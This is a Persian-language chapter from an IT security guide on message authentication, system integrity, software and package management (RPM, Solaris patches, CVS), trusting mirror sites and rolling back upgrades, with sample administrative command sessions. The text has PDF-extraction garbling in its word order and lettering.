كـافي  ل سـند  ك ـه بجاي   كنند  كتصريح مي امروزي   ديجيتالي   ي استانداردهاي امضا  .باشند ديجيتالي مي  ياغلب استانداردهاي امضا  

  . امضا شودپيام سندخلاصه است

 بـين دو طـرف ارتبـاط        ك رمـز مـشتر    كه ي ـ ك ـهويت پيام   تصديق  هاي  برنامههكتوانند به آساني براي ت    پيامها همچنين مي  خلاصه
 شـمارة  RFC(شـوند  ه بايد تأييد صحت شود ضميمه ميكها به انتهاي پيامي    MAC .ار روند كنند ب كباشند و تأييد پيام را ثابت مي       مي

 ـكهائي MAC .)دهدليد براي تأييد صحت پيام را شرح مي       كمبتني بر    ريزيدرهم اربردكچگونگي   ٢١٠٤ پيامهـا هـستند امنيـت     خلاصـه ةه بر پاي
  .سازندلهاي مسيريابي اينترنت فراهم ميكپروترمزنگاري براي بيشتري 

  پارچگيكحفظ ي
 شـما   . انجام عمليات قابل اعتماد حياتي است      لي و كها براي برقراري امنيت       شده در رايانه  اطلاعات ذخيره و صحت   پارچگي  كحفظ ي 

درخـصوص  . نيـد كهايتـان اطمينـان حاصـل       پـارچگي داده  كاربردي، و ي  ك ـهـاي   پارچگي برنامـه  كعامل، ي پارچگي سيستم كبايد از ي  
ه همچنـين   ك، بل افزار شما است  تنها مستلزم نظارت براي تغييرات ناخواسته در نرم       اربردي، اين مسئله نه   كهاي  عاملها و برنامه   سيستم

  .شودافزار را نيز شامل ميها و اصلاحات امنيتي لازم براي حفظ ايمني نرماعمال وصله

  روز نگهداشتن سيستمها به

دسـتيابي افـراد   و شف ك ـتلاشـهاي  شـود، در معـرض   دهنده به اينترنت وصل مـي      يا سرويس  ١٠٧اريكايستگاه   كه ي كاي  از لحظه 
ايـن   جزئيات گزارش شده در .نندكآور پيدا مي ميزبانهاي اينترنتي جديد را با سرعتي شگفت     ،اجمينمه. گيرد بيروني قرار مي   ةناخواند

در . ردك پيدا   - /http://project.honeynet.org -شود   حمايت مي  Honeynetه توسط طرح    كپايگاه وبي   توان در   مورد را مي  
بـا موفقيـت    داده شـد    ه قـرار    كه در شب  ك دقيقه بعد از آن    ۱۵نها  ربندي شده بود، ت   كه جديداً پي  ك Honeynet سيستم   ك مورد، ي  كي

 بـا  -ه و هـم بعـد از آن       ك هـم قبـل از اتـصال بـه شـب           -شود  ه مي كه وارد شب  ك هر سيستمي    لازم است  لذا   .هدف نفوذ قرار گرفت   
  .روز نگه داشته شوداصلاحات امنيتي به
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  افزار سيستمهاي مديريت نرم

افزار نصب شده هستند،    دام نرم كي از   يهاه چه نسخه  ك است براي حفظ رديابي اين     روالهاابزارها و   ته   دس كافزار ي سيستم مديريت نرم  
ه بدانيم آيا   كان اين كبدون چنين سيستمي ام   . ربندي آن صورت گرفته يا نه     كافزار يا فايلهاي پي   ه آيا هيچ تغييرات محلي در نرم      كو اين 

ه لازم است پس از به روز در آمـدن محفـوظ            كه چه تغييرات محلي صورت پذيرفته       كين به روز شود يا ا     لازم است افزار   جزء نرم  كي
هـاي  اهداف امنيتي حيـاتي و بـراي ارتقا       روز نگهداري سيستم براي     افزار در به   سيستم مديريت نرم   ك استفاده از ي   .بماند وجود ندارد  

  .امنيتي نيز مفيد است غير

زي ك ـ مريافزار بـراي اجـزا   نوعي مديريت نرمWindows NTيستمهاي مبتني بر  و سUnix سيستمهاي ةخوشبختانه تقريباً هم
هـاي  بـسته "اسـتفاده از   ،درحـال حاضـر متـداولترين روش   . نندكشده با آنها را فراهم مياربردي توزيع كافزارهاي  عامل و نرم  سيستم
 از  كداميكتوانند با بررسي سيستم متوجه شوند       ميخود  ه  كاست   -شده   فايلهاي پشتيباني و قابل اجراي از پيش ترجمه        -" مديريتي

  .توانند نصب شوندفايلهاي قابل اجرا مي

  افزاري نرمةسيستمهاي مبتني بر بست

انـد، همـراه هرگونـه فايلهـاي     ه قبلاً ترجمه شده  كهاي اجرايي است     دسته برنامه  كافزاري، فايلي شامل ي    فايل نوعيِ بسته نرم    كي
افزار داراي  افزاري، بسته نرم  تحت اغلب سيستمهاي بسته نرم    . فرض، و مستندات  ربندي پيش كها، فايلهاي پي  هتابخانكمرتبط از قبيل    

  :نيز هستزير  مانند موارد ١٠٨ييهافراداده
 ؛ه در آن بسته وجود داردكافزاري اطلاعات مربوط به نگارش نرم •
 ؛افزاريختهاي سعامل يا معماريهاي سازگار سيستماطلاعات مربوط به نسخه •
 ؛ه اين بسته آنها را لازم داردكافزاري هاي نرم ساير بستهفهرست •
 ؛ه اين بسته با آنها در تعارض استكافزاري هاي نرمساير بستهفهرست  •
  و؛)تغيير دهدپس از نصب تواند آنها را فهرست فايلهايي که کاربر مييا (ربندي هستند كدام فايلها فايلهاي پيكه كاينفهرست  •
  .ه قرار است قبل، در خلال، و پس از نصب فايلهاي موجود در بسته اجرا شوندكاميني فر •

ه روي سيـستم نـصب      ك ـافـزاري اسـت     هاي نرم هاي بسته  نسخه ةافزاري، پايگاه داد   سيستم مبتني بر بسته نرم     كجزء مهم ديگر ي   
  .ندك اين هدف را تأمين ميRegistery غالباً Windows در سيستمهاي .اندشده

افـزار جديـد را      يا دو فرمان ساده نـرم      كتواند با ي  راهبر سيستم مي  . افزاري ساده است  هاي نرم استفاده از سيستمهاي مبتني بر بسته     
افزاري از قبـل     چون فايلهاي اجرايي بسته نرم     . دهد افزار فعلي را ارتقا   شود نرم شده ارائه مي   نسخه جديد يا اصلاح    كنصب يا وقتي ي   
  .ندكبرنامه وقت صرف ربندي كپياند، لازم نيست راهبر براي افزاري مورد نظر ترجمه شدهعامل و بستر سختبراي سيستم

 شـما ترجمـه     ةربنـدي مـورد اسـتفاد     كعامل و نـه لزومـاً پي      ربندي معمول سيستم  كار با پي  كافزاري براي   هاي نرم از طرف ديگر بسته   
هويـت  تصديق   سيستم   كنيد، آنها را با ي    كافزار تنظيم   ردن با نوع خاصي از سخت     كاركهايتان را براي     اگر لازم است برنامه    .اند شده

 چنانچـه در    -نيـد، احتمـالاً مـتن برنامـه         كربندي دلخـواه اجـرا      ك پي كبرنامه را با ي   باشيد  تنها مايل   اگر  غيرعادي سازگار نمائيد، يا     
  . استمسئله خوبي براي اين ة نمونUnixي عاملها اصلي سيستمةهست. آيدار شما ميك بيشتر به -دسترس باشد 

مناسـبتر از روشـهاي    افزاري  هاي نرم مديريت مبتني بر بسته   استفاده از روش    نند  كه متن برنامه را ارائه نمي     كسيستمهاي تجاري   در  
را بـراي  )  مـشابه و سـاير فـرامين   (pkgadd ،pkgrm ،pkginfo ،showren فرامين Solarix 2.xبراي مثال . رسدديگر بنظر مي

 محـيط   كافـزار در ي ـ    را براي مديريت نرم    admintoolافزاري از پوسته، و فرمان      هاي نرم اضافه، حذف، و يا دريافت وضعيت بسته      
 و نـصب مـوارد      download بـراي    WindowsUpdate وب   پايگـاه  از   Windowsسيـستمهاي   . رده اسـت  ك ـي فراهم   كگرافي

  .ندكزي آن استفاده ميكت مرعامل و تسهيلا رسان سيستمروزاصلاحات به
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افزارهـاي آزاد نيـز سيـستمهاي        نـرم  Unixتوزيعهاي مبتني بر    . افزاري تنها مخصوص سيستمهاي تجاري نيست     مديريت بسته نرم  
 سيـستم   ،Linuxچنـدين توزيـع مبتنـي بـر         . نندكتر  روز نگهداري سيستم را براي راهبران ساده      نند تا به  كافزار ارائه مي  مديريت نرم 

افزاري خود  ارهاي مديريتي بسته نرم   ك براي تمام    rpm فرمان   كاين سيستم از ي   . اند را برگزيده  RPM١٠٩افزاري  ديريت بسته نرم  م
. نـد ك اسـتفاده مـي  dpkgافـزاري جـايگزين بنـام     سيـستم مـديريت بـسته نـرم    ك از يDebian GNU/Linux. ندكاستفاده مي

هـاي  اي از بـسته   ز دارند، اما در عين حـال مجموعـه        ك تمر ١١٠نهاي مبتني بر متن   رساروزبه روي   BSD مبتني بر    Unixسيستمهاي  
  .شوند اداره ميpkg_info، و pkg_add ،pkg_delete فرامين ةه بوسيلكنند كشده ارائه ميافزاري از پيش ترجمهنرم

  هاي مبتني بر متنسيستم

 ك به راهبر سيستم براي پـشتيباني از ي ـ        كمكر متن معمولاً بر     افزاري، سيستمهاي مبتني ب    نرم ةبرخلاف سيستمهاي مبتني بر بست    
توانند ترجمـه و نـصب   ه در آن فايلهاي اجرايي جديد مي كيد دارند،   كاربردي تأ كعامل يا برنامه     سيستم ة متن برنام  ةروز شد  به ةنسخ
  .شوند

رسان مبتني بر مـتن تنهـا در        روز به كي: ح دارد افزاري ترجي از چند منظر بر سيستم مديريت بستة نرم       مديريت مبتني بر متن     سيستم  
عامل ه بايد بطور مجزا براي هر معماري رايانه يا سيستم         كافزاري ترجمه شده    هاي نرم  بسته شود، در مقابلِ   نسخه واحد ارائه مي    كي
تغييرات محلي در مـتن برنامـه       ه لازم شود    كهمچنين درصورتي . افزاري شوند بندي نرم شود ترجمه و بسته   افزار در آن اجرا مي    ه نرم ك

  .مورد استفاده قرار گيرندتوانند سيستمهاي مبتني بر متن ميتنها صورت بگيرد 

 طـرف شـما آزاد      كاز ي ـ . ننده باشد ك پشتيباني گيج  كتواند ي افزاري از روي متن برنامه مي     هاي نرم نظر امنيتي، ساخت بسته   از نقطه 
در عمل انجام اين . ال پنهان يا اسب تراوا در آن وجود ندارد     كه هيچگونه اش  كطمئن شويد   رده و م  كه متن برنامه را بررسي      كهستيد  

نـد،  ك مهاجم بتواند به متن برنامـه شـما دسترسـي پيـدا     كي؛ و از طرف ديگر چنانچه پذيردبررسي دشوار است و بندرت صورت مي  
براي جلوگيري از اين مسئله بايـد اطمينـان   ! ندكآن اضافه ه متن برنامه اسب تراواي خود را به    كل چنداني نخواهد بود     ك مش شبراي

 ة متن برنام ـ  كي اينکه   اربردي قابل اعتماد است، و هم     ك ة برنام كنيد مربوط به ي   ك ترجمه مي  هكاي  ه هم متن برنامه   كنيد  كحاصل  
  . مورد اعتماد در اختيار داريد

  هامتن برنامه و وصله
ه ك ـاربردي را در سيستم قابل دسترس داشته باشـيم و هرگـاه   ك ةه متن برنام ك اين است     برنامه ترين روش براي مديريت متن    ساده

 patch كل ي ـكشود، معمولاً به ش ـاربردي منتشر ميك ة برنامك اصلاح براي يكوقتي ي. ند آنرا مجدداً ترجمه نماييمكتغيير مي

diff    شوند، يا به آن افزوده شوند تا به         كنند، پا ك بايد تغيير     از خطوط برنامه در نسخه قديمي      كداميكدهد  ه شرح مي  ك است؛ فايلي 
بـا   اصلاحي براي اعمال آنها به نسخه قديمي است تـا  ةند، و برنامك اين فايلها را توليد مي     diffبرنامه  .  جديد منجر شود   ةتوليد نسخ 

رده و آنرا   كاربردي را ترجمه    ك ةسيستم برنام بعد از اصلاح متن برنامه، راهبر       .  جديد ايجاد شود   ةنسخروزرساني،  انجام شدن عمل به   
  .نمايدمجدداً نصب مي

هـاي خـود منتـشر    portاربردي فراوانـي را در مجموعـه   ك ـهـاي  مرتبط با آن برنامه Unixهاي  و نسخهFree BSDبراي مثال 
سازي برنامه پارچهكاند تا يال شدهه اعمكي يهااي از اصلاحمجموعهو  اصلي نوشته شده     ةاربردي از متن برنام   ك برنامه   كي. نندك مي
سـازند، آنـرا   ميبصورت خودكار  اربردي را   ك ة برنام ،فايلهاي قابل ترجمه  . شوديل مي ك بهبود بخشند تش   BSDاربردي را در محيط     ك

 FreeBSDدر سيستمهاي   . نمايندميثبت  ) pkg_odd( مربوطه   BSDاربردي را با فرمان     كنند، و سپس فايلهاي برنامه      كنصب مي 
  .شودافزارهاي شخص ثالث از اين روش به ميزان وسيعي استفاده ميبراي پشتيباني نرم
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CVS   
مـتن   ١١١کنترل نسخه سيستم   كدهنده با استفاده از ي     سرويس كسازي متن برنامه در ي    روش ديگر براي براي مديريت متن، ذخيره      

گيرنده  نده براي اجازه دادن به برقراري اتصالات سرويس       دهربندي سرويس ك و پي  ١١٢،)CVS (هاي همزمان نسخه سيستمبرنامه مثل   
شـده   اصلاح ة آخرين نسخ  بررسي نهايي نند براي   كروز  خواهند متن برنامه خود را تا آخرين برونداد به        ه مي كاربراني  ك. ناشناس است 

  .تواند ترجمه و نصب شودروز درآمده مي متن به و بعد از آننندكاستفاده مي CVSاز برنامه 

FreeBSD  ،NetBSD   و ،OpenBSD     عاملهـاي خـود از      زي سيـستم  كافزارهاي مر  براي انتشار و پشتيباني نرمCVS   اسـتفاده 
 پايگاههـايي ننـد يـا در      ك مربوط به خود پشتيباني مـي      CVSهاي  دهندهباز از سرويس  افزار متن علاوه بر آن دهها هزار نرم     . نندكمي

تـاب  كتـوان بـه   مـي  CVS مرجـع خـوب    كيبعنوان  . شوندنند ميزباني مي  كرائه مي  ا CVSه مخازن   ك sourceforge.netمثل  
  .استرسيده به چاپ ا ك و شراوريليانتشارات ه توسط كاشاره کرد  )CVS) "Essential CVSضروريات "

  افزار سيستمارتقاي نرم

ار ك آش لات امنيتيِ ك مربوط به تمام مش    هايه وصله كنيد  كست اطمينان حاصل     ا ه متصل شود ضروري   كه سيستم به شب   كقبل از اين  
رد شـما بايـد بـراي فراگيـري     ك ـار ك ـ شـروع بـه    ه سيستمكمحض اينه بطور مشابه ب. اندشدهنيد اعمال  كه اجرا مي  كافزاري  در نرم 

شدند آنها  ها منتشر   ه اصلاح كاربردي گوش به زنگ باشيد تا زماني        كهاي  عامل و برنامه  شده در سيستم  شفكلات امنيتي تازه    كمش
  .نيدكرا اعمال 

 ـكيها از طريق اصلاحردن ك downloadافزار تازه نصب شده   ترين راه براي اصلاح نرم      ايمن بـه اينترنـت   متـصل  و   ديگـر ة رايان
). نـد ك ياي ارائه نم ـ  دهندهه هيچ خدمات سرويس   ك شخصي   ة يا رايان  Mac ةگيرند سرويس كيمثلاً  (روز شده    با آخرين اصلاحات ايمني به     هكاست  

رد يا با اسـتفاده از ارتبـاط        كمنتقل  ديسک فشرده   توان روي    شدند مي  downloadبار  كيه  كبعد از اين  را  روزرسانيهاي مورد بحث    به
ه ك ـه شـما چنـدين رايانـه داريـد     ك ـاين روش همچنين زماني مناسـب اسـت   . نموده محلي به سيستم جديد برد و اعمال ك شب كي

نـد  كه را   كاتـصال شـب   هـا   روزرسـاني ردن چندبارة بـه   ك downloadروز شدن روي آنها است و با        بهعاملهاي مشابهي براي     سيستم
بـراي  . درآينـد اجرا  به  ديسک فشرده   بار منتقل شوند و براي اعمال روي هر دستگاه از روي            كتوانند تنها ي  ها مي يروزرسانبه. نندك مي

در دسـترس قـرار داده    را downloadرسانهاي قابل روز بهWindowsUpdate Catalog، پايگاه وب مايکروسافتهاي سيستم
  .است

ه اصـلاحات   ك ـن است لازم شود ميزبان جديد قبل از آن        كار نيست، مم  كاگر هيچ ميزبان متصل به اينترنت در دسترس يا مناسب اين          
نيـد، و تـا حـد       كغيرفعـال   را   روي دستگاه    ايهكهاي شب دهنده سرويس ةدر اينصورت هم  . اعمال شده باشند به اينترنت متصل شود      

هـا  ه اصـلاح  ك و سپس هنگامي   - شوند   downloadهاي مورد نياز    ه اصلاح كاي     تنها به اندازه   -نماييد  وتاه  كاتصال را   زمان  ان  كام
 ديـوارة  ك ي ـةه اتصال دسـتگاه بوسـيل  كاين فرآيند درصورتي. ه جدا سازيدكي از شبكدرحال نصب شدن هستند دستگاه را بطور فيزي     

ه تنهـا   ك ـاي  تر هم بشود، بگونه     تواند ايمن ند محافظت شود مي   كميترجمة  ه را   كه آدرسهاي شب  ك مسيرياب   ك يا ي  Stateful آتش
  .ه توسط ميزبان جديد شروع شده استكمرتبط با اتصالي هستند که هايي بتوانند به ميزبان جديد برسند بسته

شف و  ك ـ،  رسـاني روز  جـزء مهـم فرآينـد بـه        كي. ايد يا نه را به روز نگهداريد        ردهكنصب  آنرا  دانيد    ه نمي كافزاري    توانيد نرم   شما نمي 
از ننـد معمـولاً     ك افزاري استفاده مي  هاي نرم ه از بسته  كعاملهايي  سيستم. اندشدهه نصب   كاربردي جديدي است    كهاي  رديابي برنامه 

اساس مديريت مبتني بـر     . شده است افزاري نصب   هاي نرم  دهند تشخيص دهيد چه بسته    ان مي كه به شما ام   كبرخوردارند  دستوراتي  
مورد دسترسي قرار بگيـرد     ه به آساني    ك - محل واحد    كاربردي نصب شده در ي    كهاي   متنهاي برنامه  ةمتن معمولاً بر نگهداري هم    

  .استوار است -
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  هااتي در مورد اصلاحكن
  :اربردي وجود داردكهاي ها و برنامهلعام هاي سيستملات امنيتي و اصلاحكدر مورد مشديگر  مطلب ندچ

ه بـراي اعـلام انتـشار       كهاي شب دهندهاربردي اصلي مثل سرويس   كهاي   و بيشتر برنامه   Unixمبتني بر    هايعاملسيستمانواع   •
ز ك ـي را از طريق مر    كترونيكهاي امنيتي خود پست ال    روسافت براي بولتن  كماي. هاي جديد داراي گروههاي پستي هستند       نسخه
بسياري از فروشندگان بـراي     ). http://register.microsoft.com/regsys/pic.asp(ند  كروسافت پيشنهاد مي  كاطلاعات ماي ة  دپرون

 .ها توجه نماييدنيد و به پيامكنويسي در اين گروهها نام. نندك  گروه پستي مجزا معرفي ميكيامنيتي اعلام مسائل 

آوري و    اخطارهـاي امنيتـي بـسياري از محـصولات را جمـع            NT-BugTraq و   BugTraqگروههاي پستي مختلفي ماننـد       •
 .نماييدها توجه و به پيام) پيامهاي خلاصهدريافت مثلاً در حالت (نيد كنويسي  نامگروهها در اين . نندك منتشر مي

وههاي خبري مـرتبط    هاي امنيتي به گر   ه اطلاعيه كوجود دارند   اربردي  كهاي  عاملها و برنامه  دهندگان زيادي از سيستم     توسعه •
بطور مـنظم   . )آيد مي comp.protocols.dns.bind در   BINDاي بنام   دهندههاي سرويس بعنوان مثال اطلاعيه  (نند  ك پست مي  Usenetبا  
 .سر بزنيدهاي خبري  اين گروهبه 

ن ك ـممکهاي فـشرده    ديـس اگرچه ايـن    . نيدكاز آن استفاده    ند  كميتوزيع  ها را   حاوي اصلاح ديسک فشردة    شما   ةاگر فروشند  •
 يهـاي تعداد اصلاح چون  شود   سيستم جديد تهيه مي    كه ي كنند، اما زماني  كهاي ارائه شده تا همان لحظه را ارائه ن        است اصلاح 

 .نندكجويي زيادي صرفهاتصال به اينترنت توانند در زمان   ميدهنداهش ميك شوند را downloadه بايد ك

هـاي قابـل دسـترس روي پايگـاه وب            افزاري نصب شده را بـا آخـرين نـسخه         هاي نرم  ، بسته اركخودروزرسان  هاي به سيستم •
اي تواننـد بگونـه     بيـشتر آنهـا همچنـين مـي       . روز نيـست  بندي بـه    دام بسته كه  كدهند    گزارش مي  نند و ك فروشنده مقايسه مي  

 اگر شما به فروشنده بـراي       .نندك و نصب    downloadار  كافزاري ارتقا يافته را بصورت خود     هاي نرم ه بسته كربندي شوند   كپي
ريزي قبلي  توانند بر اساس برنامه     بعضي از آنها مي   . تواند مفيد باشد    مي اين قابليت    روزرساني سيستم خود اعتماد داشته باشيد     به

 .نند و بعضي ديگر بايد بصورت دستي اجرا شوندكار كار شروع به كبطور خود

افـزار بررسـي    هـاي جديـد نـرم     پايگاه وب فروشنده را هر از چندگاه براي نسخه     توانيد بصورت دستي    ه شما مي  كآخر اين دست   •
 .نيدك

ه ك ـپـذيريهايي     آسيب. نماييدنيد و بلافاصله آنها را اعمال       كه در خصوص اصلاحهاي امنيتي مطالبي آموختيد، تأمل ن        كبه محض اين  
پـذيريهاي امنيتـي    ه علاوه بر اصلاح آسـيب     كاصلاحهايي  . (گيرندمياستفاده قرار    شوند تقريباً بلافاصله مورد سوء    بصورت عمومي منتشر مي   

 ).نند به اين اندازه فوريت ندارندك قابليتهاي جديدي را نيز به سيستم اضافه مي

Downloadها و بررسي اصلاح  
 شما قرار گيرند، مجبور ةتفادافزاري يا مبتني بر متن برنامه بخواهند مورد اس     هاي نرم  از اصلاحهاي مبتني بر بسته     كه هري كبراي اين 

يـا  وب  جهاني   ةكاز طريق شب  روي اينترنت   اربردي خود را    كافزارهاي  معمولاً فروشندگان، نرم  . هستيد فايلها را از جايي بدست آوريد      
 اربردي مـورد توجـه عمـوم قـرار        ك ـافـزار   عامل يـا نـرم     سيستم كه ي كزماني. دهند ناشناس قابل دسترس قرار مي     FTPپايگاه   كي

 آن باشـد، لـذا بـسياري از         downloadتواند پاسخگوي خيل تقاضاها براي         به تنهايي نمي   FTPپايگاه  وب يا   پايگاه   كگيرد، ي   مي
. گيرندمي درنظر   خوداصلي  پايگاه   براي ارائه سرويس مشابه      ١١٣اسيكانعپايگاههاي  افزار سايتهاي ديگري را بعنوان      فروشندگان نرم 

هـر  معمولاً  . نندك download) هكدر جغرافياي شب  (اسي  كانعپايگاه  ترين  كافزار را از نزدي     ه نرم كشوند   مي اربران تشويق كاينصورت   در
  .دشو ميبرداري نسخهاسي كانعپايگاههاي در ) معمولاً بطور روزانه(فروشنده پايگاه افزارهاي   نرمةهماز چندگاه از 
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 مزيـت مهـم امنيتـي بـه حـساب           كرار، ي ك از طريق ت   ١١٤افزار بودن نرم  ميزان در دسترس  اسي بدليل افزايش دادن     كانعپايگاههاي  
نـد  ك اصـلي ارتبـاط      پايگـاه اسي ارتباط سريع و با      كانعپايگاههاي  ي از   كه شما با ي   كآنها همچنين زماني بسيار مفيد هستند       . آيند مي

  :آورندبوجود مياسي چند نگراني امنيتي كانعپايگاههاي از طرف ديگر . داشته باشيد

ننـد، بـا   كرا خـراب  ها ن است بتوانند آنكافزار را در اختيار دارند و ممهاي محلي نرم نترل نسخه كاسي  كانعپايگاههاي  اهبران  ر •
ه بايـد بـه راهبـران       ك ـنيد، بل كتنها بايد به فروشنده اعتماد      در اينحالت شما نه   ... . تراوا جايگزين نمايند، و     آلوده به    ة نسخ كي

بعنوان مثـال  (ند كافزار خود امضاهاي ديجيتالي آنرا نيز منتشر  اگر فروشنده به همراه نرم. تماد داشته باشيد اسي نيز اع  كانعپايگاه  
PGP        به همراه آرشيوهاي متن برنامه، امضاهاي gnupg    در فايلهاي rpm   هاي  ، يا امضاي برنامهActiveX (   ليـد عمـومي    كتوانيـد   چـون مـي

ه ك ـافـزاري     ه نـرم  ك ـتوانيد بيشتر مطمئن شـويد        اسي بدست بياوريد، مي   كانعپايگاه   و نه     خود او  پايگاهفروشنده را مستقيماً از     
ار پـيش از    ك ـرسان بطـور خود   روزبعضي سيستمهاي به  .  اصلي ارائه شده است    ةه توسط فروشند  كنيد همان است    ك دريافت مي 

 .نندك اعمال اصلاحها، امضاهاي آنها را بررسي مي

 ةبراي اسـتفاده شـما بـه انـداز    پايگاه انعکاسي    ةرساني روزان  روز ن است به  ك مم داشته باشيد عتماد  اسي ا كانعپايگاه  حتي اگر به     •
اسي كانعپايگاه  ه  كنيد  ك ساعت صبر    ۲۴ن است نتوانيد    ك اصلاح امنيتي خيلي مهم منتشر شود مم       كاگر ي . افي سريع نباشد  ك

 اصـلي وجـود     ةفروشـند پايگـاه   لاحها بطور مـستقيم از      اصردن  ك downloadدر اين موارد راهي جز      . گرددروز  محل شما به  
 .ندارد

ن است اين   ك در بدترين حالت مم    .ايد بسيار مراقب باشيد   ردهكه در گروههاي پستي و بولتنهاي عمومي پيدا         كدر اعمال اصلاحهايي    
ننـد، و در بهتـرين   كخود نصب   پذيري جديد روي سيستم      آسيب كه افراد را فريب دهند تا ي      كاصلاحها براي اين ساخته شده باشند       

حـل    ه سيستمهايشان با سيستمهاي شما متفاوت است و بنابراين راه         كاند  اي ساخته شده  تجربهنويسان بي حالت معمولاً بوسيله برنامه   
  .سيستم شما، به آن آسيب برساندردن كن است بيش از اصلاح كآنها مم

  اربرديكافزارهاي ارتقاي نرم

بعنـوان  . اي است    بسيار ساده  افزاري معمولاً فرايند   بسته نرم  ك، ارتقاي ي  Unixافزاري مبتني بر     بسته نرم  هاي مديريتي تحت سيستم 
ند دستورات زير   ك  مي   استفاده RPMافزاري  ه از مديريت بسته نرم    ك در سيستمي    bzip2-develافزاري   براي ارتقاي بسته نرم    مثال
  :ندست هلازم

# ls -l *.rpm 
-rw-r--r-- 1 root root 33708 Apr 16 23:15 bzip2-devel-1.0.2-2.i386.rpm 
# rpm -K bzip2-devel-1.0.2-2.i386.rpm   Check the checksum and signature) 
bzip2-devel-1.0.2-2.i386.rpm: md5 OK 
# rpm -Uvh bzip2-devel-1.0.2-2.i386.rpm  Upgrade the package 
Preparing...  ########################################### [100%] 
1:bzip2-devel  ########################################### [100%] 
# rpm -q bzip2-devel    Confirm that the version is now 1.0.2-2 
bzip2-devel-1.0.2-2 

 از پايگـاه وب     tar.Z.15-104489 اصـلاح    downloadبعـد از    .  نيز بطور مشابه آسان اسـت      Solaris اصلاح امنيتي    كنصب ي 
http://sunsolve.sun.com ،ةبرنامهقطع installpatchرود ار ميك براي نصب اصلاح ب:  

% ls *.tar.Z 
104489-15.tar.Z 
% uncompress *.Z 
% tar xf 104489-15.tar 
% cd 104489-15 
% ls 
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.diPatch*     SUNWtltk/ backoutpatch* postbackout* 
Install.info*      SUNWtltkd/ installpatch* postpatch* 
README.104489-15 SUNWtltkm/  patchinfo* 
% su 
Password: password 
#./installpatch. 
Checking installed patches... 
Generating list of files to be patched... 
Verifying sufficient filesystem capacity (exhaustive method)... 
Installing patch packages... 

Patch number 104489-15 has been successfully installed. 
See /var/sadm/patch/104489-15/log for details 
Executing postpatch script... 

Patch packages installed: 
SUNWtltk 
SUNWtltkd 
SUNWtltkm 

# showrev -p | egrep 104489 
Patch: 104489-01 Obsoletes: Packages: SUNWtltk, SUNWtltkd 
Patch: 104489-14 Obsoletes: Packages: SUNWtltk, SUNWtltkd, SUNWtltkm 
Patch: 104489-15 Obsoletes: Packages: SUNWtltk, SUNWtltkd, SUNWtltkm 

يافته و يـا بـه اعمـال        ة تغيير  روي متن برنام   CVSنترل  ك كنيد براي ارتقا يا به ي     ك اگر از مديريت مبتني بر متن برنامه استفاده مي        
سـپس   از اين موارد متن برنامه بايد مجدداً ترجمـه و   كدر هري . رساني آن نياز داريد   روز قديمي براي به   ة اصلاح روي متن برنام    كي

  :اربردي آورده شده استك ة برنامك اصلاح روي يكمثالي از اعمال يدر اينجا . نصب شود
% ls -ld * 
-rw-rw---- 1 dunemush dunemush 188423 Jul 20 12:07 1.7.5-patch09 
drwx------ 10 dunemush dunemush 4096 Jul 4 16:15 pennmush/ 
% cd pennmush 
% patch -p1 -s <../1.7.5-patch09 
% make 
....source code compile messages... 
% make install 
...installation messages... 
% 

اي ار اندازيد تـا نـسخه     كدهنده را متوقف سازيد و آنرا مجدداً ب       دهيد، بايد فرايند سرويس     اي را ارتقا مي   دهنده سرويس ة برنام كاگر ي 
 ة جديد با نـسخ    ةبراي جايگزين شدن نسخ    سخت   كروي ديس دهنده   سرويس ة تعويض صرف برنام   - اجرا شود    ،شده تازه نصب  که

  .ندكفايت نميكقديمي 

هـاي  ي از برنامـه   ك ـاربردي ي ك ـافزارهـاي   اگـر نـرم   . تر اسـت  مي نامتعارف ك Windowsاربردي سيستمهاي   كافزارهاي   نرم يارتقا
 آنرا بر ة ادارWindowsUpdateان روزرس باشند، به- Media Player يا Internet Explorer مانند -روسافت كاي ماي هسته

 ةه نـسخ  ك ـننـد   كن است شما را مجبور      كها مم   بعضي. ندكافزار ديگري بايد روش خود را براي ارتقا ارائه           اما هر نرم   ؛گيردعهده مي 
افي ك ـن است   كنيد، براي بعضي مم   ك جديد را نصب     ةنسختنها پس از آن است که خواهيد توانست         نيد و   ك uninstallتر را     قديمي
-برنامه(ن است روند ارتقاي مخصوص به خود را داشته باشند           كنيد، و سايرين مم   ك قديمي نصب    ةه نسخه جديد را روي نسخ     كباشد  

  .نيدكاي به روش مخصوص آن عمل شما مجبور خواهيد بود در مورد هر برنامه). هاي خوبي هستندهاي ضدويروس در اين زمينه نمونه

https://telegram.me/karnil
www.karnil.com


 راهنماي امنيت فناوري اطلاعات ٣٠٦ 

  گيريبانبازگرداندن به عقب و پشتي

لات جديد در سيستم    كنند موجب بروز مش   كه حل مي  كلاتي  كگاهي اوقات ارتقاها بيش از مش     . ار نيست ك ةروز رساني هميشه چار   به
اين مسئله حائز اهميت    . شونده موجب اصلاح مورد نظر نمي     كنند، و يا اين   كه قابليتهاي مهم را متوقف مي     كشوند؛ يا به اين دليل      مي

 .افزار را به حالت قبل از ارتقا بازگرداندلات است بتوان نرمكخص شود ارتقاي اعمال شده حاوي مشه اگر مشكاست 

 قبلـي  ةن است بتوان اصلاح را به عقب بازگرداند و نسخكه مم كاول اين .  وجود دارد  خراب ي ارتقا كار ابتدايي براي ترميم ي    كدو راه 
ار رود، يـا  ك ـشده قبلي نيز ب اصلاح اعمالكتواند براي حذف ي  اصلاح ميةنامهاي مديريت متن، برتحت سيستم. ردكاحيا  را مجدداً   

سـالم و   افزاري را بصورت     نرم ة بست كه ي كن است خيلي سخت باشد      كمم. گرددبازيافت   CVS مخزن   كتواند از ي    نسخه قبلي مي  
 كشـده بـا ي ـ    افزار نـصب  هي براي بازنويسي نرم   افزاري را افزارهاي مديريت بسته نرم     هرچند بيشتر نرم  . به عقب بازگرداند  دردسر  بي

تـر     قديمي ةه نسخ كن است لازم باشد     كافزاري هم تغيير يافته باشند مم     نند، اما اگر وابستگيهاي بسته نرم     ك تر ارائه مي   قديمي ةنسخ
ه خـود را    ك ـبليـت را دارنـد      روسافت ايـن قا   كشده توسط ماي   اصلاحهاي ارائه  )ةاما نه هم  (بيشتر  . اين وابستگيها هم پيدا و نصب شوند      

uninstall نند و يا دستوراتي براي كuninstall اربر خود قرار دهندكدر اختيار ردن ك.  

تـر    هـاي قـديمي     با نگهداري نسخه  . افزار است   تر نرم   هاي قديمي    پشتيبان از نسخه   ة تهي ،متنمديريت  ار دوم براي سيستمهاي     كراه
 usr/src/هـاي مجـزا در      تواننـد در شـاخه       مي  چندين نسخه . لي نيست كار چندان مش  ك متن برنامه، عموماً نصب مجدد نسخة قبلي      

